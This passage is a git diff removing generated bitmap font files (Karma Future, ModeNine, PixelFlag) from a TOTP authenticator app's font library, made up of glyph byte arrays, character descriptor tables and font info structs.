0x12, - 0x00, - 0x12, - 0x00, - 0x12, - 0x00, - 0x12, - 0x00, - 0x1E, - 0x00, - 0x1C, - 0x00, - - /* @540 'G' (12 pixels wide) */ - 0xF0, - 0x07, - 0x18, - 0x06, - 0x0C, - 0x0C, - 0xE4, - 0x0D, - 0xE6, - 0x0F, - 0xF2, - 0x0F, - 0xF2, - 0x0F, - 0x32, - 0x04, - 0x32, - 0x0C, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xE6, - 0x0D, - 0xE6, - 0x0D, - 0xE4, - 0x0D, - 0x08, - 0x0C, - 0x18, - 0x0C, - 0xF0, - 0x0F, - 0xF0, - 0x0F, - - /* @576 'H' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0xF2, - 0x0D, - 0x02, - 0x0C, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x1E, - 0x0F, - 0x1C, - 0x0F, - - /* @612 'J' (12 pixels wide) */ - 0x80, - 0x03, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x80, - 0x06, - 0x8E, - 0x06, - 0x8A, - 0x06, - 0xDA, - 0x06, - 0x72, - 0x06, - 0x02, - 0x06, - 0x06, - 0x03, - 0xFC, - 0x03, - 0xF8, - 0x01, - - /* @648 'K' (12 pixels wide) */ - 0x1E, - 0x07, - 0x92, - 0x0D, - 0xD2, - 0x0C, - 0x72, - 0x0E, - 0x32, - 0x0E, - 0x12, - 0x0F, - 0x92, - 0x07, - 0xC2, - 0x03, - 0xC2, - 0x01, - 0x92, - 0x01, - 0x12, - 0x01, - 0x32, - 0x02, - 0x32, - 0x02, - 0x72, - 0x06, - 0xD2, - 0x0C, - 0x92, - 0x0D, - 0x9E, - 0x0F, - 0x1C, - 0x0F, - - /* @684 'M' (12 pixels wide) */ - 0x1E, - 0x07, - 0x92, - 0x0D, - 0xA2, - 0x0C, - 0xE2, - 0x0C, - 0x62, - 0x0C, - 0x62, - 0x0C, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x92, - 0x0D, - 0x92, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x1E, - 0x0F, - 0x1C, - 0x0F, - - /* @720 'N' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0x22, - 0x0D, - 0x62, - 0x0D, - 0x62, - 0x0D, - 0xD2, - 0x0D, - 0xD2, - 0x0D, - 0x92, - 0x0D, - 0x92, - 0x0D, - 0x32, - 0x0D, - 0x32, - 0x0D, - 0x72, - 0x0C, - 0x52, - 0x0C, - 0xD2, - 0x0C, - 0x92, - 0x0C, - 0x92, - 0x0D, - 0x1E, - 0x0F, - 0x1C, - 0x0F, - - /* @756 'P' (12 pixels wide) */ - 0xFE, - 0x03, - 0x02, - 0x02, - 0x02, - 0x06, - 0xF2, - 0x0C, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0C, - 0x02, - 0x0E, - 0x02, - 0x0E, - 0xF2, - 0x0F, - 0xF2, - 0x07, - 0xF2, - 0x03, - 0x12, - 0x00, - 0x12, - 0x00, - 0x12, - 0x00, - 0x1E, - 0x00, - 0x1C, - 0x00, - - /* @792 'Q' (12 pixels wide) */ - 0xF0, - 0x01, - 0x18, - 0x03, - 0x0C, - 0x02, - 0x64, - 0x06, - 0xE6, - 0x06, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0x32, - 0x0D, - 0x26, - 0x0E, - 0x26, - 0x0E, - 0x64, - 0x0E, - 0x08, - 0x0C, - 0x18, - 0x0D, - 0xF0, - 0x0F, - 0xF0, - 0x0F, - - /* @828 'R' (12 pixels wide) */ - 0xFE, - 0x03, - 0x02, - 0x02, - 0x02, - 0x06, - 0xF2, - 0x0C, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0D, - 0xF2, - 0x0C, - 0x02, - 0x0E, - 0x02, - 0x0E, - 0x12, - 0x0F, - 0x32, - 0x06, - 0x32, - 0x06, - 0x72, - 0x06, - 0xD2, - 0x0C, - 0x92, - 0x0D, - 0x9E, - 0x0F, - 0x1C, - 0x0F, - - /* @864 'T' (12 pixels wide) */ - 0xFE, - 0x03, - 0x02, - 0x02, - 0x02, - 0x02, - 0xDE, - 0x03, - 0xDC, - 0x03, - 0xDC, - 0x03, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xD0, - 0x00, - 0xF0, - 0x00, - 0xF0, - 0x00, - - /* @900 'V' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x92, - 0x0D, - 0xA6, - 0x0E, - 0xA4, - 0x0E, - 0xA4, - 0x0E, - 0xE4, - 0x06, - 0x6C, - 0x06, - 0x68, - 0x06, - 0x68, - 0x02, - 0x18, - 0x03, - 0x10, - 0x03, - 0x10, - 0x01, - 0x90, - 0x01, - 0x90, - 0x01, - 0xE0, - 0x01, - 0xE0, - 0x01, - - /* @936 'W' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0x12, - 0x0D, - 0xF2, - 0x0D, - 0x92, - 0x0D, - 0x12, - 0x0D, - 0x62, - 0x0C, - 0x62, - 0x0C, - 0xE2, - 0x0C, - 0xE2, - 0x0C, - 0xB2, - 0x0D, - 0x3E, - 0x0F, - 0x1C, - 0x0F, - - /* @972 'X' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0xB2, - 0x0D, - 0xA6, - 0x0E, - 0xE4, - 0x0E, - 0x6C, - 0x0E, - 0x18, - 0x07, - 0x98, - 0x07, - 0x90, - 0x03, - 0x10, - 0x01, - 0x68, - 0x02, - 0xE4, - 0x02, - 0xE4, - 0x06, - 0xE6, - 0x06, - 0xB2, - 0x0D, - 0x32, - 0x0D, - 0x1E, - 0x0F, - 0x1C, - 0x0E, - - /* @1008 'Y' (12 pixels wide) */ - 0x1E, - 0x07, - 0x12, - 0x0D, - 0xB2, - 0x0D, - 0xA6, - 0x0E, - 0xE4, - 0x0E, - 0x6C, - 0x0E, - 0x68, - 0x06, - 0x18, - 0x07, - 0x18, - 0x03, - 0x90, - 0x03, - 0x90, - 0x01, - 0x90, - 0x01, - 0xA0, - 0x01, - 0xA0, - 0x01, - 0xA0, - 0x01, - 0xE0, - 0x01, - 0xE0, - 0x01, - 0xE0, - 0x01, -}; - -/* Character descriptors for Karma Future 14pt */ -/* { [Char width in bits], [Offset into karmaFuture_14ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO karmaFuture_14ptDescriptors[] = { - {12, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {12, 36}, /* 0 */ - {12, 72}, /* 1 */ - {12, 108}, /* 2 */ - {12, 144}, /* 3 */ - {12, 180}, /* 4 */ - {12, 216}, /* 5 */ - {12, 252}, /* 6 */ - {12, 288}, /* 7 */ - {12, 324}, /* 8 */ - {12, 360}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {12, 396}, /* B */ - {12, 432}, /* C */ - {12, 468}, /* D */ - {0, 0}, /* E */ - {12, 504}, /* F */ - {12, 540}, /* G */ - {12, 576}, /* H */ - {0, 0}, /* I */ - {12, 612}, /* J */ - {12, 648}, /* K */ - {0, 0}, /* L */ - {12, 684}, /* M */ - {12, 720}, /* N */ - {0, 0}, /* O */ - {12, 756}, /* P */ - {12, 792}, /* Q */ - {12, 828}, /* R */ - {0, 0}, /* S */ - {12, 864}, /* T */ - {0, 0}, /* U */ - {12, 900}, /* V */ - {12, 936}, /* W */ - {12, 972}, /* X */ - {12, 1008}, /* Y */ -}; - -/* Font information for Karma Future 14pt */ -const FONT_INFO karmaFuture_14ptFontInfo = { - "Karma Future", - 18, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - karmaFuture_14ptDescriptors, /* Character descriptor array */ - karmaFuture_14ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/karma_future/karma_future.h b/applications/external/totp/lib/fonts/karma_future/karma_future.h deleted file mode 100644 index 3a6352ef1..000000000 --- a/applications/external/totp/lib/fonts/karma_future/karma_future.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for Karma Future 14pt */ -extern const FONT_INFO karmaFuture_14ptFontInfo; diff --git a/applications/external/totp/lib/fonts/mode_nine/mode_nine.c b/applications/external/totp/lib/fonts/mode_nine/mode_nine.c deleted file mode 100644 index 5d19f59aa..000000000 --- a/applications/external/totp/lib/fonts/mode_nine/mode_nine.c +++ /dev/null @@ -1,942 +0,0 @@ -#include "mode_nine.h" -#include - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for ModeNine 15pt -*/ - -/* Character bitmaps for ModeNine 15pt */ -const uint8_t modeNine_15ptBitmaps[] = { - /* @0 '-' (10 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @28 '0' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @56 '1' (10 pixels wide) */ - 0x30, - 0x00, - 0x38, - 0x00, - 0x3C, - 0x00, - 0x3C, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @84 '2' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x80, - 0x03, - 0xFC, - 0x01, - 0xFE, - 0x00, - 0x07, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - - /* @112 '3' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x80, - 0x03, - 0xC0, - 0x01, - 0xE0, - 0x00, - 0x70, - 0x00, - 0xF8, - 0x00, - 0xFC, - 0x01, - 0x80, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @140 '4' (10 pixels wide) */ - 0xE0, - 0x00, - 0xF0, - 0x00, - 0xF8, - 0x00, - 0xDC, - 0x00, - 0xCE, - 0x00, - 0xC7, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - - /* @168 '5' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x80, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @196 '6' (10 pixels wide) */ - 0xF0, - 0x00, - 0xFC, - 0x00, - 0x0E, - 0x00, - 0x06, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @224 '7' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x00, - 0x03, - 0x80, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x00, - 0x30, - 0x00, - 0x18, - 0x00, - 0x1C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - - /* @252 '8' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @280 '9' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x07, - 0x03, - 0xFE, - 0x03, - 0xFC, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x80, - 0x01, - 0xC0, - 0x01, - 0xFC, - 0x00, - 0x3C, - 0x00, - - /* @308 'B' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x83, - 0x03, - 0xFF, - 0x01, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x83, - 0x03, - 0xFF, - 0x01, - 0xFF, - 0x00, - - /* @336 'C' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @364 'D' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x83, - 0x03, - 0xFF, - 0x01, - 0xFF, - 0x00, - - /* @392 'F' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - - /* @420 'G' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xC3, - 0x03, - 0xC3, - 0x03, - 0x03, - 0x03, - 0x07, - 0x03, - 0xFE, - 0x03, - 0xFC, - 0x03, - - /* @448 'H' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @476 'J' (10 pixels wide) */ - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x00, - - /* @504 'K' (10 pixels wide) */ - 0x83, - 0x03, - 0xC3, - 0x01, - 0xE3, - 0x00, - 0x73, - 0x00, - 0x3B, - 0x00, - 0x1F, - 0x00, - 0x0F, - 0x00, - 0x0F, - 0x00, - 0x1F, - 0x00, - 0x3B, - 0x00, - 0x73, - 0x00, - 0xE3, - 0x00, - 0xC3, - 0x01, - 0x83, - 0x03, - - /* @532 'M' (10 pixels wide) */ - 0x03, - 0x03, - 0x87, - 0x03, - 0xCF, - 0x03, - 0xFF, - 0x03, - 0x7B, - 0x03, - 0x33, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @560 'N' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x07, - 0x03, - 0x0F, - 0x03, - 0x1F, - 0x03, - 0x3B, - 0x03, - 0x73, - 0x03, - 0xE3, - 0x03, - 0xC3, - 0x03, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @588 'P' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x83, - 0x03, - 0xFF, - 0x01, - 0xFF, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - - /* @616 'Q' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x33, - 0x03, - 0x73, - 0x03, - 0xE7, - 0x03, - 0xFE, - 0x01, - 0xFC, - 0x03, - - /* @644 'R' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x01, - 0x83, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x83, - 0x03, - 0xFF, - 0x01, - 0xFF, - 0x00, - 0x1F, - 0x00, - 0x3B, - 0x00, - 0x73, - 0x00, - 0xE3, - 0x00, - 0xC3, - 0x01, - 0x83, - 0x03, - - /* @672 'T' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - - /* @700 'V' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x86, - 0x01, - 0x86, - 0x01, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0x78, - 0x00, - 0x78, - 0x00, - 0x30, - 0x00, - - /* @728 'W' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0xFF, - 0x03, - 0xFE, - 0x01, - - /* @756 'X' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xCE, - 0x01, - 0xFC, - 0x00, - 0xFC, - 0x00, - 0xCE, - 0x01, - 0x87, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @784 'Y' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x87, - 0x03, - 0xCE, - 0x01, - 0xFC, - 0x00, - 0x78, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, -}; - -/* Character descriptors for ModeNine 15pt */ -/* { [Char width in bits], [Offset into modeNine_15ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO modeNine_15ptDescriptors[] = { - {10, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {10, 28}, /* 0 */ - {10, 56}, /* 1 */ - {10, 84}, /* 2 */ - {10, 112}, /* 3 */ - {10, 140}, /* 4 */ - {10, 168}, /* 5 */ - {10, 196}, /* 6 */ - {10, 224}, /* 7 */ - {10, 252}, /* 8 */ - {10, 280}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {10, 308}, /* B */ - {10, 336}, /* C */ - {10, 364}, /* D */ - {0, 0}, /* E */ - {10, 392}, /* F */ - {10, 420}, /* G */ - {10, 448}, /* H */ - {0, 0}, /* I */ - {10, 476}, /* J */ - {10, 504}, /* K */ - {0, 0}, /* L */ - {10, 532}, /* M */ - {10, 560}, /* N */ - {0, 0}, /* O */ - {10, 588}, /* P */ - {10, 616}, /* Q */ - {10, 644}, /* R */ - {0, 0}, /* S */ - {10, 672}, /* T */ - {0, 0}, /* U */ - {10, 700}, /* V */ - {10, 728}, /* W */ - {10, 756}, /* X */ - {10, 784}, /* Y */ -}; - -/* Font information for ModeNine 15pt */ -const FONT_INFO modeNine_15ptFontInfo = { - "Mode Nine", - 14, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - modeNine_15ptDescriptors, /* Character descriptor array */ - modeNine_15ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/mode_nine/mode_nine.h b/applications/external/totp/lib/fonts/mode_nine/mode_nine.h deleted file mode 100644 index 516e261f8..000000000 --- a/applications/external/totp/lib/fonts/mode_nine/mode_nine.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for ModeNine 15pt */ -extern const FONT_INFO modeNine_15ptFontInfo; diff --git a/applications/external/totp/lib/fonts/pixelflag/pixelflag.c b/applications/external/totp/lib/fonts/pixelflag/pixelflag.c deleted file mode 100644 index eacf36b28..000000000 --- a/applications/external/totp/lib/fonts/pixelflag/pixelflag.c +++ /dev/null @@ -1,1115 +0,0 @@ -#include "pixelflag.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for {PixelFlag} 18pt -*/ - -/* Character bitmaps for {PixelFlag} 18pt */ -const uint8_t pixelFlag_18ptBitmaps[] = { - /* @0 '-' (13 pixels wide) */ - 0xFE, - 0x07, - 0xFE, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFE, - 0x07, - 0xFE, - 0x07, - - /* @34 '0' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @68 '1' (13 pixels wide) */ - 0xff, - 0xff, - 0xff, - 0xff, - 0x00, - 0xe0, - 0xc0, - 0xe0, - 0xc0, - 0xe0, - 0xe0, - 0xe0, - 0xe0, - 0xe0, - 0xc0, - 0xe0, - 0xc0, - 0xe0, - 0xc0, - 0xe0, - 0xc0, - 0xe0, - 0xc0, - 0xe0, - 0xe0, - 0xe3, - 0xe0, - 0xe3, - 0x00, - 0xe0, - 0xff, - 0xff, - 0xff, - 0xff, - - /* @102 '2' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0xF8, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @136 '3' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0xE0, - 0x07, - 0xE0, - 0x1F, - 0x00, - 0x18, - 0x00, - 0x18, - 0xFC, - 0x1F, - 0xFC, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @170 '4' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x07, - 0xC0, - 0x07, - 0xC0, - 0x06, - 0x60, - 0x06, - 0x78, - 0x06, - 0x18, - 0x06, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x00, - 0x06, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @204 '5' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x1F, - 0x00, - 0x18, - 0x00, - 0x18, - 0xFC, - 0x1F, - 0xFC, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @238 '6' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @272 '7' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x00, - 0x06, - 0x00, - 0x07, - 0x00, - 0x03, - 0xC0, - 0x00, - 0xE0, - 0x00, - 0x60, - 0x00, - 0x18, - 0x00, - 0x1C, - 0x00, - 0x0C, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @306 '8' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xF8, - 0x07, - 0xFC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @340 '9' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xF8, - 0x1F, - 0xF8, - 0x1F, - 0x00, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @374 'B' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x07, - 0xFC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xFC, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @408 'C' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 